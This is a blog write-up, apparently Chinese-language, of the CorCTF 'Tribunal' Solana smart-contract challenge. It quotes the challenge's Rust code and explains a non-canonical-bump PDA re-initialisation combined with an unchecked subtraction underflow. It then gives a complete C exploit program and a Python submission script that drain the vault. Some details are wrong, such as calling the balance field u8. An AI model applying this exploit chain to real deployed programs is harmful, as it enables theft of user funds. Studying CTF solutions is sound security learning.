默认分类

CorCTF Tribunal

Source

Server端:

    let program_id = builder.add_program("./tribunal.so", None);
    let solve_id = builder.input_program()?;

    let mut chall = builder.build().await;

    // get access to funds from ctf framework
    let payer_keypair = &chall.ctx.payer;
    let payer = payer_keypair.pubkey();

    // create admin user
    let admin_keypair = Keypair::new();
    let admin = admin_keypair.pubkey();

    // fund admin user
    chall
        .run_ix(system_instruction::transfer(
            &payer,
            &admin,
            100_000_000_000, // 100 sol
        ))
        .await?;

    // create user
    let user_keypair = Keypair::new();
    let user = user_keypair.pubkey();

    // fund user
    chall
        .run_ix(system_instruction::transfer(&payer, &user, 1_000_000_000)) // 1 sol
        .await?;

    writeln!(socket, "\nsome information for you:")?;
    writeln!(socket, "program: {}", program_id)?;
    writeln!(socket, "user: {}", user)?;

    let (config_addr, config_bump) =
        Pubkey::find_program_address(&["CONFIG".as_bytes()], &program_id);
    let (vault_addr, vault_bump) = Pubkey::find_program_address(&["VAULT".as_bytes()], &program_id);

    // start the tribunal
    let mut ixs = vec![Instruction::new_with_borsh(
        program_id,
        &TribunalInstruction::Initialize {
            config_bump,
            vault_bump,
        },
        vec![
            AccountMeta::new(admin, true),
            AccountMeta::new(config_addr, false),
            AccountMeta::new(vault_addr, false),
            AccountMeta::new_readonly(system_program::id(), false),
        ],
    )];

    // create the five proposals
    for i in 1..=5_u8 {
        let (addr, bump) =
            Pubkey::find_program_address(&["PROPOSAL".as_bytes(), &i.to_be_bytes()], &program_id);
        ixs.push(Instruction::new_with_borsh(
            program_id,
            &TribunalInstruction::Propose {
                proposal_id: i,
                proposal_bump: bump,
            },
            vec![
                AccountMeta::new(admin, true),
                AccountMeta::new(config_addr, false),
                AccountMeta::new(addr, false),
                AccountMeta::new_readonly(system_program::id(), false),
            ],
        ));
    }

    // personally, down with fizz and the web union will rise!!
    let (p4_addr, _) =
            Pubkey::find_program_address(&["PROPOSAL".as_bytes(), &4_u8.to_be_bytes()], &program_id);
    ixs.push(Instruction::new_with_borsh(
        program_id,
        &TribunalInstruction::Vote {
            proposal_id: 4,
            amount: 99_000_000_000, // 99 sol
        },
        vec![
            AccountMeta::new(admin, true),
            AccountMeta::new(config_addr, false),
            AccountMeta::new(vault_addr, false),
            AccountMeta::new(p4_addr, false),
            AccountMeta::new_readonly(system_program::id(), false),
        ],
    ));

    // run setup instructions
    chall
        .run_ixs_full(&ixs, &[&admin_keypair], &admin_keypair.pubkey())
        .await?;

    let solve_ix = chall.read_instruction(solve_id)?;
    chall
        .run_ixs_full(&[solve_ix], &[&user_keypair], &user_keypair.pubkey())
        .await?;

    if let Some(account) = chall.ctx.banks_client.get_account(user).await? {
        writeln!(socket, "lamports after exploit: {:?}", account.lamports)?;

        // 90 sol
        if acocunt.lamports > 90_000_000_000 {
            writeln!(socket, "you'll be the focus of the next tribunal...")?;
            writeln!(
                socket,
                "flag: {}",
                env::var("FLAG").unwrap_or_else(|_| "corctf{test_flag}".to_string())
            )?;
        }
    } else {
        writeln!(socket, "there was an error reading the user's balance")?;
    }

功能实现的较为简洁。创建了一个admin账户后利用payer向他转100sol.之后利用payer给我们的user转了1sol .利用Pubkeyfind寻找了一个CONFIG种子的地址,当作CONFIG账户地址。同理寻找一个Vault地址。最后利用Initialize功能进行初始化。

而后创建了1-5 编号的提案。利用admin向4号提案投票。 最后允许challenge执行程序目标是将user用户的余额增长至90sol。

合约代码:

fn initialize(
    program: &Pubkey,
    accounts: &[AccountInfo],
    config_bump: u8,
    vault_bump: u8,
) -> ProgramResult {
    let account_iter = &mut accounts.iter();
    let user = next_account_info(account_iter)?;
    let config = next_account_info(account_iter)?;
    let vault = next_account_info(account_iter)?;

    // ensure that the user signed this
    if !user.is_signer {
        return Err(ProgramError::MissingRequiredSignature);
    }

    // get config and vault
    let Ok(config_addr) = Pubkey::create_program_address(&[b"CONFIG", &[config_bump]], &program) else {
        return Err(ProgramError::InvalidSeeds);
    };

    let Ok(vault_addr) = Pubkey::create_program_address(&[b"VAULT", &[vault_bump]], &program) else {
        return Err(ProgramError::InvalidSeeds);
    };

    // assert that the config passed in is at the right address
    if *config.key != config_addr {
        return Err(ProgramError::InvalidAccountData);
    }

    // ensure that the config passed in is empty (we only want to initialize once)
    if !config.data_is_empty() {
        return Err(ProgramError::AccountAlreadyInitialized);
    }

    // create config
    invoke_signed(
        &system_instruction::create_account(
            &user.key,
            &config_addr,
            Rent::minimum_balance(&Rent::default(), CONFIG_SIZE),
            CONFIG_SIZE as u64,
            &program,
        ),
        &[user.clone(), config.clone()],
        &[&[b"CONFIG", &[config_bump]]],
    )?;

    // save config data
    let config_data = Config {
        discriminator: Types::Config,
        admin: *user.key,
        total_balance: 0,
    };

    config_data
        .serialize(&mut &mut (*config.data).borrow_mut()[..])
        .unwrap();

    // create vault
    invoke_signed(
        &system_instruction::create_account(
            &user.key,
            &vault_addr,
            Rent::minimum_balance(&Rent::default(), VAULT_SIZE),
            VAULT_SIZE as u64,
            &program,
        ),
        &[user.clone(), vault.clone()],
        &[&[b"VAULT", &[vault_bump]]],
    )?;

    // save vault data
    let vault_data = Vault {
        discriminator: Types::Vault,
    };

    vault_data
        .serialize(&mut &mut (*vault.data).borrow_mut()[..])
        .unwrap();

    Ok(())
}

// create a proposal, only allowed by admin (since we don't want dumb proposals)
fn propose(
    program: &Pubkey,
    accounts: &[AccountInfo],
    proposal_id: u8,
    proposal_bump: u8,
) -> ProgramResult {
    let account_iter = &mut accounts.iter();
    let user = next_account_info(account_iter)?;
    let config = next_account_info(account_iter)?;
    let proposal = next_account_info(account_iter)?;

    // ensure that the user signed this
    if !user.is_signer {
        return Err(ProgramError::MissingRequiredSignature);
    }

    // require that the config is valid
    if config.owner != program {
        return Err(ProgramError::InvalidAccountData);
    }

    // retrieve config data
    let config_data = &mut Config::deserialize(&mut &(*config.data).borrow_mut()[..])?;
    if config_data.discriminator != Types::Config {
        return Err(ProgramError::InvalidAccountData);
    }

    // require that the user is an admin
    if *user.key != config_data.admin {
        return Err(ProgramError::IllegalOwner);
    }

    let Ok(proposal_addr) = Pubkey::create_program_address(&[b"PROPOSAL", &proposal_id.to_be_bytes(), &[proposal_bump]], &program) else {
        return Err(ProgramError::InvalidSeeds);
    };

    // require that the proposal passed in is at the right address
    if *proposal.key != proposal_addr {
        return Err(ProgramError::InvalidAccountData);
    }

    // ensure that the proposal isn't initialized yet
    if !proposal.data_is_empty() {
        return Err(ProgramError::AccountAlreadyInitialized);
    }

    // create proposal
    invoke_signed(
        &system_instruction::create_account(
            &user.key,
            &proposal_addr,
            Rent::minimum_balance(&Rent::default(), PROPOSAL_SIZE),
            PROPOSAL_SIZE as u64,
            &program,
        ),
        &[user.clone(), proposal.clone()],
        &[&[
            "PROPOSAL".as_bytes(),
            &proposal_id.to_be_bytes(),
            &[proposal_bump],
        ]],
    )?;

    // save proposal data
    let proposal_data = Proposal {
        discriminator: Types::Proposal,
        creator: *user.key,
        balance: 0,
        proposal_id,
    };

    proposal_data
        .serialize(&mut &mut (*proposal.data).borrow_mut()[..])
        .unwrap();

    Ok(())
}

fn vote(
    program: &Pubkey,
    accounts: &[AccountInfo],
    proposal_id: u8,
    lamports: u64,
) -> ProgramResult {
    let account_iter = &mut accounts.iter();
    let user = next_account_info(account_iter)?;
    let config = next_account_info(account_iter)?;
    let vault = next_account_info(account_iter)?;
    let proposal = next_account_info(account_iter)?;

    // ensure that the user signed this
    if !user.is_signer {
        return Err(ProgramError::MissingRequiredSignature);
    }

    // positive amount
    if lamports <= 0 {
        return Err(ProgramError::InvalidArgument);
    }

    // require that the config is correct
    if config.owner != program {
        return Err(ProgramError::InvalidAccountData);
    }

    let config_data = &mut Config::deserialize(&mut &(*config.data).borrow_mut()[..])?;
    if config_data.discriminator != Types::Config {
        return Err(ProgramError::InvalidAccountData);
    }

    // require that the vault is correct
    if vault.owner != program {
        return Err(ProgramError::InvalidAccountData);
    }

    let vault_data = &mut Vault::deserialize(&mut &(*vault.data).borrow_mut()[..])?;
    if vault_data.discriminator != Types::Vault {
        return Err(ProgramError::InvalidAccountData);
    }

    // ensure the proposal is valid
    if proposal.owner != program {
        return Err(ProgramError::InvalidAccountData);
    }

    let proposal_data = &mut Proposal::deserialize(&mut &(*proposal.data).borrow_mut()[..])?;
    if proposal_data.discriminator != Types::Proposal {
        return Err(ProgramError::InvalidAccountData);
    }

    // check that proposal is at the correct address
    let (proposal_addr, _) = Pubkey::find_program_address(
        &["PROPOSAL".as_bytes(), &proposal_id.to_be_bytes()],
        &program,
    );
    if *proposal.key != proposal_addr {
        return Err(ProgramError::InvalidAccountData);
    }

    // transfer money to vault
    invoke(
        &system_instruction::transfer(&user.key, &vault.key, lamports.into()),
        &[user.clone(), vault.clone()],
    )?;

    // update the proposal balance
    proposal_data.balance = proposal_data.balance.checked_add(lamports).unwrap();
    proposal_data
        .serialize(&mut &mut (*proposal.data).borrow_mut()[..])
        .unwrap();

    // update the config total balance
    config_data.total_balance = config_data.total_balance.checked_add(lamports).unwrap() - 100; // keep some for rent
    config_data
        .serialize(&mut &mut (*config.data).borrow_mut()[..])
        .unwrap();

    Ok(())
}

fn withdraw(program: &Pubkey, accounts: &[AccountInfo], lamports: u64) -> ProgramResult {
    let account_iter = &mut accounts.iter();
    let user = next_account_info(account_iter)?;
    let config = next_account_info(account_iter)?;
    let vault = next_account_info(account_iter)?;

    // ensure that the user signed this
    if !user.is_signer {
        return Err(ProgramError::MissingRequiredSignature);
    }

    // positive amount
    if lamports <= 0 {
        return Err(ProgramError::InvalidArgument);
    }

    // require that the config is correct
    if config.owner != program {
        return Err(ProgramError::InvalidAccountData);
    }

    let config_data = &mut Config::deserialize(&mut &(*config.data).borrow_mut()[..])?;
    if config_data.discriminator != Types::Config {
        return Err(ProgramError::InvalidAccountData);
    }

    // check that the config has enough balance
    if config_data.total_balance < lamports {
        return Err(ProgramError::InsufficientFunds);
    }

    // require that the user is an admin
    if *user.key != config_data.admin {
        return Err(ProgramError::IllegalOwner);
    }

    // require that the vault is correct
    if vault.owner != program {
        return Err(ProgramError::InvalidAccountData);
    }

    let vault_data = &mut Vault::deserialize(&mut &(*vault.data).borrow_mut()[..])?;
    if vault_data.discriminator != Types::Vault {
        return Err(ProgramError::InvalidAccountData);
    }

    // withdraw safely
    let mut vault_lamports = vault.lamports.borrow_mut();
    **vault_lamports = (**vault_lamports).checked_sub(lamports).unwrap();
    let mut user_lamports = user.lamports.borrow_mut();
    **user_lamports = (**user_lamports).checked_add(lamports).unwrap();

    Ok(())
}

可以看到 每个函数都进行了非常严谨的账户签名、类型检查。但是唯独有一点,在Withdraw的时候并没有验证Vault强对应的用户是谁。那我们可以考虑利用user用户直接转账,但其中有一个config账户进行了如下的check.

    if *user.key != config_data.admin {
        return Err(ProgramError::IllegalOwner);
    }

但是他并没有限制非admin用户不能调用Initialize。虽然需要利用特殊种子去寻找账户,但是地址却不唯一。只需要更换bump即可。
获得config之后还需要注意

    if config_data.total_balance < lamports {
        return Err(ProgramError::InsufficientFunds);
    }

也就是我们伪造的当前config数据里面的balance要小于lamports提现的金额。
那么可以发现vote中:

    config_data.total_balance = config_data.total_balance.checked_add(lamports).unwrap() - 100; // keep some for rent

这里的-100没有用程序中经常使用的check_sub进行 那么就会发生下溢。其为u8类型 会变为一个较大值。
所以vote一个较小的值即可。

exp

本题的exp来自Ainevsia@0ops师傅。 鸣谢。
我个人觉得C++ 写的好像确实要比 rust好理解点=-=(x

#include <solana_sdk.h>

#define CORCTF_USER      0
#define CORCTF_CONFIG    1
#define CORCTF_VAULT     2
#define CORCTF_TARGET    3
#define CORCTF_FVAULT    4
#define CORCTF_PROPOSE   5
#define CORCTF_SYSTEM    6
#define CORCTF_TOTAL_ACC 7 //指向账户数量

#define CORCTF_CONFIG_BUMPSEED  0
#define CORCTF_VAULT_BUMPSEED   1
#define CORCTF_PROPOSE_BUMPSEED 2

 
// 以上部分创建输入参数并进行对应。

uint64_t init(SolParameters *params)
{
  sol_log("[+] About to init !");

  SolAccountMeta meta[] = {
      {.pubkey = params->ka[CORCTF_USER].key, .is_writable = true, .is_signer = true},
      {.pubkey = params->ka[CORCTF_CONFIG].key, .is_writable = true, .is_signer = false},
      {.pubkey = params->ka[CORCTF_FVAULT].key, .is_writable = true, .is_signer = false},
      {.pubkey = params->ka[CORCTF_SYSTEM].key, .is_writable = false, .is_signer = false},
  };
    //每一个账户需要设置他的状态 可写以及签名。

  uint8_t buf[1 + 2] = {0};
  buf[0] = 0;
  buf[1] = params->data[CORCTF_CONFIG_BUMPSEED];
  buf[2] = params->data[CORCTF_VAULT_BUMPSEED];

  const SolInstruction instruction = {params->ka[CORCTF_TARGET].key,
                                      meta, SOL_ARRAY_SIZE(meta),
                                      buf, SOL_ARRAY_SIZE(buf)};

  sol_invoke(&instruction, params->ka, params->ka_num);

  sol_log("[+] finished init !");
  return SUCCESS;
}

uint64_t vote(SolParameters *params)
{
  sol_log("[+] About to vote !");

  SolAccountMeta meta[] = {
      {.pubkey = params->ka[CORCTF_USER].key, .is_writable = true, .is_signer = true},
      {.pubkey = params->ka[CORCTF_CONFIG].key, .is_writable = true, .is_signer = false},
      {.pubkey = params->ka[CORCTF_FVAULT].key, .is_writable = true, .is_signer = false},
      {.pubkey = params->ka[CORCTF_PROPOSE].key, .is_writable = true, .is_signer = false},
      {.pubkey = params->ka[CORCTF_SYSTEM].key, .is_writable = false, .is_signer = false},
  };

  uint8_t buf[1 + 1 + 8] = {0};
  buf[0] = 2;
  buf[1] = 1;
  uint64_t *p = (uint64_t *)((uint8_t *)buf + 2);
  *p = 1;

  const SolInstruction instruction = {params->ka[CORCTF_TARGET].key,
                                      meta, SOL_ARRAY_SIZE(meta),
                                      buf, SOL_ARRAY_SIZE(buf)};

  sol_invoke(&instruction, params->ka, params->ka_num);

  sol_log("[+] finished vote !");
  return SUCCESS;
}

uint64_t withdraw(SolParameters *params)
{
  sol_log("[+] About to withdraw !");

  SolAccountMeta meta[] = {
      {.pubkey = params->ka[CORCTF_USER].key, .is_writable = true, .is_signer = true},
      {.pubkey = params->ka[CORCTF_CONFIG].key, .is_writable = true, .is_signer = false},
      {.pubkey = params->ka[CORCTF_VAULT].key, .is_writable = true, .is_signer = false},
  };

  uint8_t buf[1 + 8] = {0};
  buf[0] = 3; // TribunalInstruction::Withdraw{amount: 99000000000 - 100}; 0x170cdc1d9c // buf[0]为调用的方法,需要看rust中的enum.
    
  uint64_t *p = (uint64_t *)((uint8_t *)buf + 1);
  *p = 0x170cdc1d9c;
  //这个指针指向的是buf[0] 后的八字节。将其设置为一个uint64.赋值为99sol
  const SolInstruction instruction = {params->ka[CORCTF_TARGET].key,
                                      meta, SOL_ARRAY_SIZE(meta),
                                      buf, SOL_ARRAY_SIZE(buf)};

  sol_invoke(&instruction, params->ka, params->ka_num);

  sol_log("[+] finished withdraw !");
  return SUCCESS;
}

uint64_t hacker(SolParameters *params)
{
  sol_assert(params->ka_num == CORCTF_TOTAL_ACC);
  
  sol_log("[+] Hacker 1");
  init(params);
  sol_log("[+] Hacker 2");
  vote(params);
  sol_log("[+] Hacker 3");
  withdraw(params);
  sol_log("[+] Hacker 4");
  return SUCCESS;
}

extern uint64_t entrypoint(const uint8_t *input)
{
  sol_log("[+] Hacker start");

  SolAccountInfo accounts[CORCTF_TOTAL_ACC];
  SolParameters params = (SolParameters){.ka = accounts};

  if (!sol_deserialize(input, &params, SOL_ARRAY_SIZE(accounts)))
  {
    return ERROR_INVALID_ARGUMENT;
  }

  return hacker(&params);
}

exploit.py

config_pubkey_canonical,      config_pubkey_canonical_bump_seed         = pda(program_pubkey,b'CONFIG')
config_pubkey_none_canonical, config_pubkey_none_canonical_bump_seed    = pda_none_canonical_bump_seed(program_pubkey,b'CONFIG',config_pubkey_canonical_bump_seed)
vault_pubkey_canonical,       vault_pubkey_canonical_bump_seed          = pda(program_pubkey,b'VAULT')
vault_pubkey_none_canonical,  vault_pubkey_none_canonical_bump_seed     = pda_none_canonical_bump_seed(program_pubkey,b'VAULT',vault_pubkey_canonical_bump_seed)
proposal_pubkey,              proposal_pubkey_canonical_bump_seed       = pda(program_pubkey,b'PROPOSAL\x01')

# metas
accs = [
    f"ws {user_pubkey}",
    f"w {config_pubkey_none_canonical}",
    f"w {vault_pubkey_canonical}",
    f"w {program_pubkey}",
    f"w {vault_pubkey_none_canonical}",
    f"w {proposal_pubkey}",
    f"r 11111111111111111111111111111111"
]

io.sendlineafter("num accounts: \n", str(len(accs)).encode())
for acc in accs:
    io.sendline(acc.encode())
# ix
buf  = p8(config_pubkey_none_canonical_bump_seed)
buf += p8(vault_pubkey_none_canonical_bump_seed)
io.sendlineafter('len:',str(len(buf)).encode())
io.send(buf)
print(io.recvall())

回复

This is just a placeholder img.